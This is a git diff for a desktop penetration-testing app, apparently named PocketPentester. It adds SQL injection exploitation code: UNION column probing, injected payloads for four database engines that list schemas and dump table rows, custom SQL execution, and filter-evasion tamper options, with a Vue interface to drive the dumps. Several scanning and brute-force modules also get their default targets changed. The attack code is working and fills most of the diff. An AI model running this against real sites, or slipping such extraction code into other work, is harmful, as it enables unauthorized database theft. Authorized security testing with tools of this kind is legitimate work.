diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index c70bab8..4139a55 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -25,6 +25,8 @@ pub fn run() { httpx::http_probe, takeover::takeover_scan, sqli::sqli_scan, + sqli::sqli_dump, + sqli::sqli_probe_union, xss::xss_scan, jwt::jwt_analyze, xploiter::xploit_run, diff --git a/src-tauri/src/modules/sqli.rs b/src-tauri/src/modules/sqli.rs index 6458a5e..1662ffd 100644 --- a/src-tauri/src/modules/sqli.rs +++ b/src-tauri/src/modules/sqli.rs @@ -103,6 +103,11 @@ pub struct SqliFinding { pub evidence: String, pub confidence: String, pub extracted: HashMap, + /// Original request context — used to drive sqli_dump on a confirmed + /// union finding. Frontend echoes these back. + pub base_value: String, + pub union_cols: Option, + pub union_position: Option, } // ------------------------------------------------------------------ @@ -148,6 +153,23 @@ static DBMS_ERRORS: Lazy)>> = Lazy::new(|| vec![ ]), ]); +fn hex_literal(s: &str) -> String { + let mut out = String::from("0x"); + for b in s.as_bytes() { + out.push_str(&format!("{:02x}", b)); + } + out +} + +/// MySQL CHAR(n,n,...) builds the marker server-side from byte codes. +/// The raw injected payload then never contains the marker's ASCII bytes, +/// so matching the marker in the response body proves the DB actually +/// produced it (not just echoing our URL back). +fn mysql_char_literal(s: &str) -> String { + let parts: Vec = s.as_bytes().iter().map(|b| b.to_string()).collect(); + format!("CHAR({})", parts.join(",")) +} + fn detect_dbms(body: &str) -> Option<&'static str> { for (db, regexes) in DBMS_ERRORS.iter() { if regexes.iter().any(|re| re.is_match(body)) { return Some(db); } @@ -552,35 +574,59 @@ async fn test_time_based( None } +static ORDER_BY_ERR: Lazy = Lazy::new(|| Regex::new( + r"(?i)(unknown column ['`]?\d+['`]? in ['`]?order|order by position number \d+ is out of range|1st order by term out of range|order by clause is not in select list)" +).unwrap()); + async fn test_union_based( client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String], -) -> Option<(String, String, String, String, Option<&'static str>, HashMap)> { +) -> Option<(String, String, String, String, Option<&'static str>, HashMap, usize, usize)> { let marker = format!("xpl{:04}mrk", rand::random::()); - // Step 1: find column count via ORDER BY + + // Baseline: response for a guaranteed-good n=1 after each prefix is + // recorded and subsequent n's are compared. Relying on generic text + // like "order by" in the body is unreliable because many apps echo + // the failing query back. let mut cols: usize = 0; for (prefix, _suffix) in boundaries(level).iter() { - let mut last_ok: usize = 0; - for n in 1..=20 { + // baseline for THIS prefix — ORDER BY 1 should always succeed if + // the injection is valid at all. + let base_full = apply_tamper(&format!("{}{} ORDER BY 1-- -", point.base_value, prefix), tamper); + let (base_body, base_status, _) = match send(client, target, point, &base_full).await { + Some(v) => v, + None => continue, + }; + // If ORDER BY 1 itself errors (this prefix is wrong) — skip. + if ORDER_BY_ERR.is_match(&base_body) || base_status >= 500 { continue; } + + let mut last_ok: usize = 1; + for n in 2..=20 { let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper); - if let Some((body, _, _)) = send(client, target, point, &full).await { - let err = detect_dbms(&body).is_some() - || body.to_lowercase().contains("unknown column") - || body.to_lowercase().contains("order by"); + if let Some((body, status, _)) = send(client, target, point, &full).await { + let err = status >= 500 + || ORDER_BY_ERR.is_match(&body) + || similarity(&base_body, &body) < 0.55; if err { break; } else { last_ok = n; } } else { break; } } if last_ok > 0 { cols = last_ok; - // Step 2: craft UNION SELECT with NULLs, replace one at a time with marker + // Build the marker via CHAR(n,n,...) so the raw injected + // query never contains the marker's ASCII. Many apps reflect + // the raw GET/POST param in the page (e.g. `

User #`), + // which used to false-positive every column. With CHAR() the + // marker only appears when the DB actually produced the row. + let marker_expr = mysql_char_literal(&marker); + // Step 2: UNION SELECT with NULLs, replace one at a time with marker for position in 1..=cols { let mut fields: Vec = (1..=cols).map(|i| if i == position { - format!("'{}'", marker) + marker_expr.clone() } else { "NULL".to_string() }).collect(); let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -", point.base_value, prefix, fields.join(",")), tamper); if let Some((body, _, _)) = send(client, target, point, &full).await { if body.contains(&marker) { - // injectable column found — try extracting data + // injectable column found — extract data with hex-wrapped concat let mut extracted: HashMap = HashMap::new(); let probes = [ ("version", "version()"), @@ -588,16 +634,17 @@ async fn test_union_based( ("db", "database()"), ]; for (name, expr) in probes { - fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr); + fields[position - 1] = format!("CONCAT({m},{e},{m})", m=marker_expr, e=expr); let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -", point.base_value, prefix, fields.join(",")), tamper); if let Some((b, _, _)) = send(client, target, point, &ep).await { - let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap(); + let re = Regex::new(&format!("{m}([\\s\\S]+?){m}", + m = regex::escape(&marker))).unwrap(); if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) { extracted.insert(name.into(), c.as_str().to_string()); } } - fields[position - 1] = format!("'{}'", marker); + fields[position - 1] = marker_expr.clone(); } let dbms: Option<&'static str> = extracted.get("version").and_then(|v| { let lo = v.to_lowercase(); @@ -613,6 +660,8 @@ async fn test_union_based( format!("union injection at column {position}/{cols}, marker reflected"), dbms, extracted, + cols, + position, )); } } @@ -700,6 +749,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result Result Result Result Result Result, + #[serde(default)] + pub headers: HashMap, + #[serde(default)] + pub cookies: Option, + // injection context (from a previous finding) + pub param: String, + pub location: String, + pub base_value: String, + pub prefix: String, + pub cols: usize, + pub position: usize, + pub dbms: String, + // dump controls + pub action: String, + #[serde(default)] + pub database: Option, + #[serde(default)] + pub table: Option, + #[serde(default)] + pub columns: Option>, + #[serde(default = "default_dump_limit")] + pub limit: usize, + #[serde(default)] + pub offset: usize, + #[serde(default)] + pub custom_sql: Option, + #[serde(default)] + pub tamper: Vec, + #[serde(default = "default_timeout")] + pub timeout_ms: u64, + #[serde(default = "default_true")] + pub follow_redirects: bool, +} + +fn default_dump_limit() -> usize { 100 } + +#[derive(Debug, Clone, Serialize)] +pub struct SqliDumpResult { + pub dbms: String, + pub action: String, + pub headers: Vec, + pub rows: Vec>, + pub count: usize, + pub truncated: bool, + pub raw_payload: String, + pub raw_captured: String, +} + +fn normalize_dbms(d: &str) -> &str { + let lo = d.to_lowercase(); + if lo.contains("maria") || lo.contains("mysql") { "MySQL" } + else if lo.contains("postgres") { "PostgreSQL" } + else if lo.contains("mssql") || lo.contains("sql server") { "MSSQL" } + else if lo.contains("sqlite") { "SQLite" } + else if lo.contains("oracle") { "Oracle" } + else { "MySQL" } +} + +fn dump_expr( + dbms: &str, action: &str, + db: Option<&str>, table: Option<&str>, cols: &[String], + limit: usize, offset: usize, custom: Option<&str>, +) -> String { + let d = dbms.to_string(); + match (d.as_str(), action) { + ("MySQL", "databases") => + "(SELECT GROUP_CONCAT(schema_name SEPARATOR 0x7c) FROM information_schema.schemata)".into(), + ("MySQL", "tables") => { + let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() }; + format!("(SELECT GROUP_CONCAT(table_name SEPARATOR 0x7c) FROM information_schema.tables WHERE table_schema={d_lit})") + } + ("MySQL", "columns") => { + let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() }; + let t = table.unwrap_or(""); + format!("(SELECT GROUP_CONCAT(column_name SEPARATOR 0x7c) FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t)) + } + ("MySQL", "rows") => { + let t = table.unwrap_or(""); + let qn = match db { + Some(x) if !x.is_empty() => format!("`{}`.`{}`", x.replace('`', ""), t.replace('`', "")), + _ => format!("`{}`", t.replace('`', "")), + }; + let cl: Vec = cols.iter().map(|c| format!("IFNULL(`{}`,'')", c.replace('`', ""))).collect(); + let concat = format!("CONCAT_WS(0x7f,{})", cl.join(",")); + format!("(SELECT GROUP_CONCAT({} SEPARATOR 0x7c) FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset) + } + + ("PostgreSQL", "databases") => + "(SELECT string_agg(datname,'|') FROM pg_database WHERE datistemplate=false)".into(), + ("PostgreSQL", "tables") => { + let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() }; + format!("(SELECT string_agg(tablename,'|') FROM pg_tables WHERE schemaname={})", d_lit) + } + ("PostgreSQL", "columns") => { + let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() }; + let t = table.unwrap_or(""); + format!("(SELECT string_agg(column_name,'|') FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t)) + } + ("PostgreSQL", "rows") => { + let t = table.unwrap_or(""); + let qn = match db { + Some(x) if !x.is_empty() => format!("\"{}\".\"{}\"", x.replace('"', ""), t.replace('"', "")), + _ => format!("\"{}\"", t.replace('"', "")), + }; + let cl: Vec = cols.iter().map(|c| format!("COALESCE(\"{}\"::text,'')", c.replace('"', ""))).collect(); + let concat = cl.join("||chr(127)||"); + format!("(SELECT string_agg({}, '|') FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset) + } + + ("MSSQL", "databases") => + "(SELECT STRING_AGG(name,'|') FROM master.sys.databases)".into(), + ("MSSQL", "tables") => { + match db { Some(x) if !x.is_empty() => + format!("(SELECT STRING_AGG(name,'|') FROM {}.sys.tables)", x.replace('[', "").replace(']', "")), + _ => "(SELECT STRING_AGG(name,'|') FROM sys.tables)".into() + } + } + ("MSSQL", "columns") => { + let t = table.unwrap_or(""); + format!("(SELECT STRING_AGG(name,'|') FROM sys.columns WHERE object_id=OBJECT_ID('{}'))", esc_sq(t)) + } + ("MSSQL", "rows") => { + let t = table.unwrap_or(""); + let qn = match db { + Some(x) if !x.is_empty() => format!("[{}].[dbo].[{}]", x.replace('[', "").replace(']', ""), t.replace('[', "").replace(']', "")), + _ => format!("[{}]", t.replace('[', "").replace(']', "")), + }; + let cl: Vec = cols.iter().map(|c| format!("ISNULL(CAST([{}] AS NVARCHAR(MAX)),'')", c.replace('[', "").replace(']', ""))).collect(); + let concat = cl.join("+CHAR(127)+"); + format!("(SELECT STRING_AGG({}, '|') FROM (SELECT TOP {} * FROM {}) x)", concat, limit, qn) + } + + ("SQLite", "databases") => "(SELECT 'main')".into(), + ("SQLite", "tables") => + "(SELECT group_concat(name,'|') FROM sqlite_master WHERE type='table')".into(), + ("SQLite", "columns") => { + let t = table.unwrap_or(""); + format!("(SELECT group_concat(name,'|') FROM pragma_table_info('{}'))", esc_sq(t)) + } + ("SQLite", "rows") => { + let t = table.unwrap_or(""); + let cl: Vec = cols.iter().map(|c| format!("ifnull(\"{}\",'')", c.replace('"', ""))).collect(); + let concat = cl.join("||char(127)||"); + format!("(SELECT group_concat({}, '|') FROM (SELECT * FROM \"{}\" LIMIT {} OFFSET {}) x)", concat, t.replace('"', ""), limit, offset) + } + + (_, "custom") => custom.unwrap_or("NULL").to_string(), + _ => "NULL".into(), + } +} + +fn esc_sq(s: &str) -> String { s.replace('\'', "''") } + +fn wrap_marker(dbms: &str, marker: &str, expr: &str) -> String { + match dbms { + // MySQL: CHAR(n,n,...) — marker bytes never appear in raw payload, + // so apps that reflect the GET/POST param (e.g.

) + // can't false-positive our regex. + "MySQL" => { + let m = mysql_char_literal(marker); + format!("CONCAT({m},{e},{m})", m = m, e = expr) + } + "PostgreSQL" | "SQLite" => format!("('{m}'||({e})||'{m}')", m = marker, e = expr), + "MSSQL" => format!("('{m}' + CAST(({e}) AS NVARCHAR(MAX)) + '{m}')", m = marker, e = expr), + _ => expr.to_string(), + } +} + +fn parse_dump_captured(action: &str, captured: &str, cols: &Option>) -> (Vec, Vec>) { + if captured.is_empty() { return (Vec::new(), Vec::new()); } + match action { + "databases" | "tables" | "columns" => { + let header = match action { "databases" => "database", "tables" => "table", _ => "column" }; + let rows: Vec> = captured.split('|') + .filter(|s| !s.is_empty()) + .map(|s| vec![s.to_string()]) + .collect(); + (vec![header.into()], rows) + } + "rows" => { + let hdr = cols.clone().unwrap_or_default(); + let rows: Vec> = captured.split('|') + .filter(|s| !s.is_empty()) + .map(|r| r.split('\u{7f}').map(String::from).collect()) + .collect(); + (hdr, rows) + } + _ => (vec!["result".into()], vec![vec![captured.to_string()]]), + } +} + +// ------------------------------------------------------------------ +// On-demand UNION probe — used when dump is requested on an +// error/boolean/time finding that never ran union during the scan +// (e.g. stop_on_first stopped at error-based). +// ------------------------------------------------------------------ + +#[derive(Debug, Clone, Deserialize)] +pub struct SqliProbeUnionRequest { + pub url: String, + #[serde(default = "default_method")] + pub method: String, + #[serde(default)] + pub body: Option, + #[serde(default)] + pub headers: HashMap, + #[serde(default)] + pub cookies: Option, + pub param: String, + pub location: String, + pub base_value: String, + #[serde(default = "default_level")] + pub level: u8, + #[serde(default)] + pub tamper: Vec, + #[serde(default = "default_timeout")] + pub timeout_ms: u64, + #[serde(default = "default_true")] + pub follow_redirects: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct SqliProbeUnionResult { + pub prefix: String, + pub cols: usize, + pub position: usize, + pub dbms: Option, + pub extracted: HashMap, +} + +#[tauri::command] +pub async fn sqli_probe_union(_app: AppHandle, req: SqliProbeUnionRequest) -> Result { + let url = Url::parse(&req.url).map_err(|e| e.to_string())?; + let body_is_json = req.headers.iter().any(|(k, v)| + k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json")); + let target = Target { + url, method: req.method, body: req.body, body_is_json, + headers: req.headers, cookies: req.cookies, + }; + let point = InjectionPoint { location: req.location, name: req.param, base_value: req.base_value }; + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() }) + .cookie_store(false) + .user_agent("Mozilla/5.0 (PocketPentester-SQLi/probe)") + .build() + .map_err(|e| e.to_string())?; + + match test_union_based(&client, &target, &point, req.level, &req.tamper).await { + Some((prefix, _suffix, _payload, _evidence, dbms, extracted, cols, position)) => { + Ok(SqliProbeUnionResult { + prefix, cols, position, + dbms: dbms.map(|s| s.to_string()), + extracted, + }) + } + None => Err("union probe failed — ORDER BY column count not found or UNION blocked".into()), + } +} + +#[tauri::command] +pub async fn sqli_dump(app: AppHandle, req: SqliDumpRequest) -> Result { + let url = Url::parse(&req.url).map_err(|e| e.to_string())?; + let body_is_json = req.headers.iter().any(|(k, v)| + k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json")); + + let target = Target { + url, method: req.method.clone(), body: req.body.clone(), body_is_json, + headers: req.headers.clone(), cookies: req.cookies.clone(), + }; + let point = InjectionPoint { + location: req.location.clone(), + name: req.param.clone(), + base_value: req.base_value.clone(), + }; + + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() }) + .cookie_store(false) + .user_agent("Mozilla/5.0 (PocketPentester-SQLi/dump)") + .build() + .map_err(|e| e.to_string())?; + + let dbms = normalize_dbms(&req.dbms).to_string(); + let marker = format!("xpl{:04}dmp", rand::random::()); + let subq = dump_expr( + &dbms, &req.action, + req.database.as_deref(), req.table.as_deref(), + req.columns.as_deref().unwrap_or(&[]), + req.limit, req.offset, req.custom_sql.as_deref(), + ); + let wrapped = wrap_marker(&dbms, &marker, &subq); + + let cols_count = req.cols.max(1); + let pos = req.position.max(1).min(cols_count); + let fields: Vec = (1..=cols_count) + .map(|i| if i == pos { wrapped.clone() } else { "NULL".into() }) + .collect(); + let injected = apply_tamper( + &format!("{}{} UNION SELECT {}-- -", point.base_value, req.prefix, fields.join(",")), + &req.tamper, + ); + + let _ = app.emit("sqli:dump:status", + format!("→ {} · dbms={} · marker={} · {}col@{}", req.action, dbms, marker, cols_count, pos)); + + let (body, status, elapsed) = send(&client, &target, &point, &injected).await + .ok_or_else(|| "request failed or timed out".to_string())?; + + let re = Regex::new(&format!("{m}([\\s\\S]+?){m}", m = regex::escape(&marker))) + .map_err(|e| e.to_string())?; + let captured = re.captures(&body) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().to_string()) + .unwrap_or_default(); + + if captured.is_empty() { + // surface backend errors so the UI can show what went wrong + let snippet = if body.len() > 400 { + format!("{}...", body.chars().take(400).collect::()) + } else { body.clone() }; + return Err(format!("no marker in response (status={} elapsed={}ms). body: {}", status, elapsed, snippet)); + } + + let (headers, rows) = parse_dump_captured(&req.action, &captured, &req.columns); + let count = rows.len(); + + // GROUP_CONCAT / STRING_AGG truncation hints + let truncated = match dbms.as_str() { + "MySQL" => captured.len() > 1020, // default group_concat_max_len = 1024 + _ => false, + }; + + Ok(SqliDumpResult { + dbms: dbms.clone(), + action: req.action.clone(), + headers, + rows, + count, + truncated, + raw_payload: injected, + raw_captured: captured, + }) +} diff --git a/src/components/modules/AdminFinder.vue b/src/components/modules/AdminFinder.vue index f9a5ee4..aaa44dc 100644 --- a/src/components/modules/AdminFinder.vue +++ b/src/components/modules/AdminFinder.vue @@ -17,7 +17,7 @@ interface AdminHit { redirect?: string; } -const baseUrl = ref("https://example.com"); +const baseUrl = ref("https://insecure.newploit.com"); const useBuiltin = ref(true); const extraPaths = ref(""); const acceptStatusStr = ref("200,301,302,401,403"); diff --git a/src/components/modules/AutoPwn.vue b/src/components/modules/AutoPwn.vue index 2b5018c..e40da66 100644 --- a/src/components/modules/AutoPwn.vue +++ b/src/components/modules/AutoPwn.vue @@ -23,10 +23,10 @@ interface StageState { hits: number; } -const domain = ref("example.com"); +const domain = ref("insecure.newploit.com"); const usePassive = ref(true); const bruteList = ref("www,api,dev,staging,admin,mail,app,portal,vpn,test,beta,m,shop,blog,docs,git,jenkins,jira,grafana,prometheus,sso,auth,login,dashboard,internal"); -const ports = ref("80,443,8080,8443"); +const ports = ref("80,443"); const concurrency = ref(30); const timeoutMs = ref(8000); diff --git a/src/components/modules/Banner.vue b/src/components/modules/Banner.vue index 588070a..356d160 100644 --- a/src/components/modules/Banner.vue +++ b/src/components/modules/Banner.vue @@ -14,7 +14,7 @@ interface Hit { bytes: number; } -const host = ref("scanme.nmap.org"); +const host = ref("insecure.newploit.com"); const portSpec = ref("21,22,23,25,80,110,143,443,445,465,587,993,995,1433,3306,3389,5432,5900,6379,8080,8443,9200,27017"); const concurrency = ref(30); const timeoutMs = ref(4000); diff --git a/src/components/modules/DirFuzz.vue b/src/components/modules/DirFuzz.vue index 29964af..61967c4 100644 --- a/src/components/modules/DirFuzz.vue +++ b/src/components/modules/DirFuzz.vue @@ -18,7 +18,7 @@ interface DirHit { time_ms: number; } -const baseUrl = ref("https://example.com"); +const baseUrl = ref("https://insecure.newploit.com"); const wordlist = ref(""); const extensions = ref(".php,.html,.bak,.zip,.json,.txt"); const acceptStatusStr = ref("200,201,204,301,302,307,308,401,403,405"); diff --git a/src/components/modules/DnsTools.vue b/src/components/modules/DnsTools.vue index 0d98775..b28dfd5 100644 --- a/src/components/modules/DnsTools.vue +++ b/src/components/modules/DnsTools.vue @@ -15,7 +15,7 @@ interface Report { errors: string[]; } -const domain = ref("example.com"); +const domain = ref("insecure.newploit.com"); const resolver = ref(""); const tryAxfr = ref(false); const running = ref(false); diff --git a/src/components/modules/FormBrute.vue b/src/components/modules/FormBrute.vue index 35e5d33..79cc9e5 100644 --- a/src/components/modules/FormBrute.vue +++ b/src/components/modules/FormBrute.vue @@ -16,7 +16,7 @@ interface Hit { time_ms: number; } -const url = ref("https://target.com/login.php"); +const url = ref("https://insecure.newploit.com/login.php"); const method = ref("POST"); const bodyTemplate = ref("username={USER}&password={PASS}"); const headersRaw = ref(""); diff --git a/src/components/modules/HttpProbe.vue b/src/components/modules/HttpProbe.vue index 2ecf77e..ed3f1da 100644 --- a/src/components/modules/HttpProbe.vue +++ b/src/components/modules/HttpProbe.vue @@ -5,7 +5,7 @@ import { listen, type UnlistenFn } from "@tauri-apps/api/event"; import Terminal from "../Terminal.vue"; import { useTerminal } from "../../composables/useTerminal"; -const targets = ref("example.com\nscanme.nmap.org"); +const targets = ref("insecure.newploit.com"); const ports = ref("80,443,8080,8443"); const concurrency = ref(50); const timeoutMs = ref(5000); diff --git a/src/components/modules/PortScan.vue b/src/components/modules/PortScan.vue index fc1c1f2..81632cb 100644 --- a/src/components/modules/PortScan.vue +++ b/src/components/modules/PortScan.vue @@ -6,7 +6,7 @@ import Terminal from "../Terminal.vue"; import Prompt from "../Prompt.vue"; import { useTerminal } from "../../composables/useTerminal"; -const target = ref("scanme.nmap.org"); +const target = ref("insecure.newploit.com"); const portSpec = ref("top1000"); const concurrency = ref(200); const timeoutMs = ref(1500); diff --git a/src/components/modules/Repeater.vue b/src/components/modules/Repeater.vue index 76bb47a..2e80c37 100644 --- a/src/components/modules/Repeater.vue +++ b/src/components/modules/Repeater.vue @@ -27,7 +27,7 @@ interface HistoryItem { } const method = ref("GET"); -const url = ref("https://example.com/"); +const url = ref("https://insecure.newploit.com/"); const headersRaw = ref("User-Agent: Mozilla/5.0 (PocketPentester)\nAccept: */*"); const body = ref(""); const followRedirects = ref(false); diff --git a/src/components/modules/Sqli.vue b/src/components/modules/Sqli.vue index 24ad13d..332d923 100644 --- a/src/components/modules/Sqli.vue +++ b/src/components/modules/Sqli.vue @@ -18,9 +18,39 @@ interface Finding { evidence: string; confidence: string; extracted: Record; + base_value: string; + union_cols?: number | null; + union_position?: number | null; } -const url = ref("https://target.com/item.php?id=1"); +interface DumpResult { + dbms: string; + action: string; + headers: string[]; + rows: string[][]; + count: number; + truncated: boolean; + raw_payload: string; + raw_captured: string; +} + +interface DumpSession { + finding: Finding; + databases: string[]; + selectedDb: string; + tables: string[]; + selectedTable: string; + columns: string[]; + selectedCols: Set; + limit: number; + offset: number; + rowsResult: DumpResult | null; + busy: boolean; + err: string; + lastPayload: string; +} + +const url = ref("https://insecure.newploit.com/profile.php?id=1"); const method = ref("GET"); const body = ref(""); const headersRaw = ref(""); @@ -35,7 +65,7 @@ const tTime = ref(false); const level = ref(2); const risk = ref(1); -const stopOnFirst = ref(true); +const stopOnFirst = ref(false); const autoExtract = ref(true); const followRedirects = ref(true); @@ -47,9 +77,182 @@ const concurrency = ref(4); const timeoutMs = ref(15000); const running = ref(false); const findings = ref([]); +const dumpSessions = ref>({}); const log = useTerminal(); const unlistens: UnlistenFn[] = []; +function getOrCreateSession(idx: number, f: Finding): DumpSession { + if (!dumpSessions.value[idx]) { + dumpSessions.value[idx] = { + finding: f, + databases: [], + selectedDb: "", + tables: [], + selectedTable: "", + columns: [], + selectedCols: new Set(), + limit: 100, + offset: 0, + rowsResult: null, + busy: false, + err: "", + lastPayload: "", + }; + } + return dumpSessions.value[idx]; +} + +function currentTamper(): string[] { + const tamper: string[] = []; + if (tamperRandomcase.value) tamper.push("randomcase"); + if (tamperSpace2comment.value) tamper.push("space2comment"); + if (tamperEqualToLike.value) tamper.push("equaltolike"); + return tamper; +} + +async function ensureUnion(f: Finding): Promise { + if (f.union_cols && f.union_position) return true; + log.dim(`◌ probing UNION columns for ${f.location}:${f.param}…`); + try { + const r = await invoke<{ prefix: string; cols: number; position: number; dbms: string | null; extracted: Record }>( + "sqli_probe_union", + { + req: { + url: url.value, + method: method.value, + body: body.value || null, + headers: parseHeaders(), + cookies: cookies.value || null, + param: f.param, + location: f.location, + base_value: f.base_value, + level: level.value, + tamper: currentTamper(), + timeout_ms: timeoutMs.value, + follow_redirects: followRedirects.value, + }, + }, + ); + f.prefix = r.prefix; + f.union_cols = r.cols; + f.union_position = r.position; + if (r.dbms) f.dbms = r.dbms; + if (r.extracted) { + for (const [k, v] of Object.entries(r.extracted)) f.extracted[k] = v; + } + log.valid(`● UNION ok → ${r.cols} col(s), injectable @ position ${r.position}, prefix="${r.prefix}"`); + return true; + } catch (e: any) { + log.err(`union probe: ${e}`); + return false; + } +} + +async function callDump(f: Finding, action: string, extra: Partial<{ + database: string; table: string; columns: string[]; limit: number; offset: number; custom_sql: string; +}>): Promise { + return await invoke("sqli_dump", { + req: { + url: url.value, + method: method.value, + body: body.value || null, + headers: parseHeaders(), + cookies: cookies.value || null, + param: f.param, + location: f.location, + base_value: f.base_value, + prefix: f.prefix, + cols: f.union_cols ?? 1, + position: f.union_position ?? 1, + dbms: f.dbms ?? "MySQL", + action, + database: extra.database ?? null, + table: extra.table ?? null, + columns: extra.columns ?? null, + limit: extra.limit ?? 100, + offset: extra.offset ?? 0, + custom_sql: extra.custom_sql ?? null, + tamper: currentTamper(), + timeout_ms: timeoutMs.value, + follow_redirects: followRedirects.value, + }, + }); +} + +async function listDatabases(idx: number, f: Finding) { + const s = getOrCreateSession(idx, f); + s.busy = true; s.err = ""; + try { + if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; } + const r = await callDump(f, "databases", {}); + s.databases = r.rows.map(row => row[0]); + s.lastPayload = r.raw_payload; + log.valid(`● databases: ${s.databases.length} → ${s.databases.join(", ")}`); + } catch (e: any) { + s.err = String(e); log.err(`databases: ${e}`); + } finally { s.busy = false; } +} + +async function listTables(idx: number, f: Finding) { + const s = getOrCreateSession(idx, f); + if (!s.selectedDb) { s.err = "select a database first"; return; } + s.busy = true; s.err = ""; + try { + if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; } + const r = await callDump(f, "tables", { database: s.selectedDb }); + s.tables = r.rows.map(row => row[0]); + s.lastPayload = r.raw_payload; + log.valid(`● tables in ${s.selectedDb}: ${s.tables.length}`); + } catch (e: any) { + s.err = String(e); log.err(`tables: ${e}`); + } finally { s.busy = false; } +} + +async function listColumns(idx: number, f: Finding) { + const s = getOrCreateSession(idx, f); + if (!s.selectedTable) { s.err = "select a table first"; return; } + s.busy = true; s.err = ""; + try { + if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; } + const r = await callDump(f, "columns", { database: s.selectedDb, table: s.selectedTable }); + s.columns = r.rows.map(row => row[0]); + s.selectedCols = new Set(s.columns); + s.lastPayload = r.raw_payload; + log.valid(`● columns in ${s.selectedTable}: ${s.columns.join(", ")}`); + } catch (e: any) { + s.err = String(e); log.err(`columns: ${e}`); + } finally { s.busy = false; } +} + +async function dumpRows(idx: number, f: Finding) { + const s = getOrCreateSession(idx, f); + if (!s.selectedTable) { s.err = "select a table first"; return; } + if (s.selectedCols.size === 0) { s.err = "select at least one column"; return; } + s.busy = true; s.err = ""; + try { + if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; } + const orderedCols = s.columns.filter(c => s.selectedCols.has(c)); + const r = await callDump(f, "rows", { + database: s.selectedDb, + table: s.selectedTable, + columns: orderedCols, + limit: s.limit, + offset: s.offset, + }); + s.rowsResult = r; + s.lastPayload = r.raw_payload; + log.valid(`● dumped ${r.count} row(s) from ${s.selectedTable}${r.truncated ? " [TRUNCATED - increase group_concat_max_len]" : ""}`); + } catch (e: any) { + s.err = String(e); log.err(`dump: ${e}`); + } finally { s.busy = false; } +} + +function toggleCol(idx: number, f: Finding, col: string) { + const s = getOrCreateSession(idx, f); + if (s.selectedCols.has(col)) s.selectedCols.delete(col); else s.selectedCols.add(col); + s.selectedCols = new Set(s.selectedCols); +} + function parseHeaders(): Record { const out: Record = {}; for (const line of headersRaw.value.split("\n")) { @@ -206,6 +409,7 @@ onUnmounted(cleanup); {{ f.technique }} {{ f.location }} / {{ f.param }} {{ f.dbms }} + {{ f.union_cols }}col @ {{ f.union_position }} {{ f.confidence }}
@@ -219,6 +423,81 @@ onUnmounted(cleanup); {{ k }}: {{ v }}
+ + +
+
[ DUMP ] + union will be probed on first click +
+ +
+ + +
+ +
+ + +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ +
{{ dumpSessions[i].err }}
+ +
+
+ {{ dumpSessions[i].rowsResult.count }} row(s) + · TRUNCATED +
+ + + + + + + +
{{ h }}
{{ cell }}
+
+ +
+ last payload +
{{ dumpSessions[i].lastPayload }}
+
+
@@ -331,4 +610,98 @@ code { } .kv .k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; } .kv .v { color: var(--valid); font-weight: 700; } + +.dump-panel { + margin-top: 6px; + padding-top: 6px; + border-top: 1px dashed var(--border); + display: flex; + flex-direction: column; + gap: 4px; +} +.dump-head { + color: var(--alert); + font-size: 9px; + letter-spacing: 0.25em; + font-weight: 700; +} +.dump-hint { color: var(--fg-ghost); font-size: 9px; letter-spacing: 0.1em; margin-left: 6px; font-weight: 400; text-transform: none; } +.dump-row { + display: flex; + gap: 6px; + align-items: center; + flex-wrap: wrap; +} +.mini-btn { + background: var(--bg); + border: 1px solid var(--border); + color: var(--fg); + padding: 3px 10px; + font-family: inherit; + font-size: 10px; + cursor: pointer; + flex-shrink: 0; + height: auto; +} +.mini-btn:hover:not(:disabled) { border-color: var(--accent); color: var(--accent); } +.mini-btn:disabled { opacity: 0.5; cursor: not-allowed; } +.mini-btn.hit { border-color: var(--alert); color: var(--alert); } +.mini-btn.hit:hover:not(:disabled) { background: rgba(255, 47, 74, 0.08); } +.dump-panel select { + background: var(--bg); + border: 1px solid var(--border); + color: var(--fg); + padding: 3px 6px; + font-family: inherit; + font-size: 11px; + min-width: 120px; +} +.dump-panel select:focus { border-color: var(--accent); outline: none; } +.col-chips { display: flex; flex-wrap: wrap; gap: 3px; } +.col-chip { + display: inline-flex; + gap: 4px; + align-items: center; + padding: 1px 6px; + border: 1px solid var(--border); + font-size: 10px; + color: var(--fg-dim); + cursor: pointer; +} +.col-chip input { display: none; } +.col-chip.on { 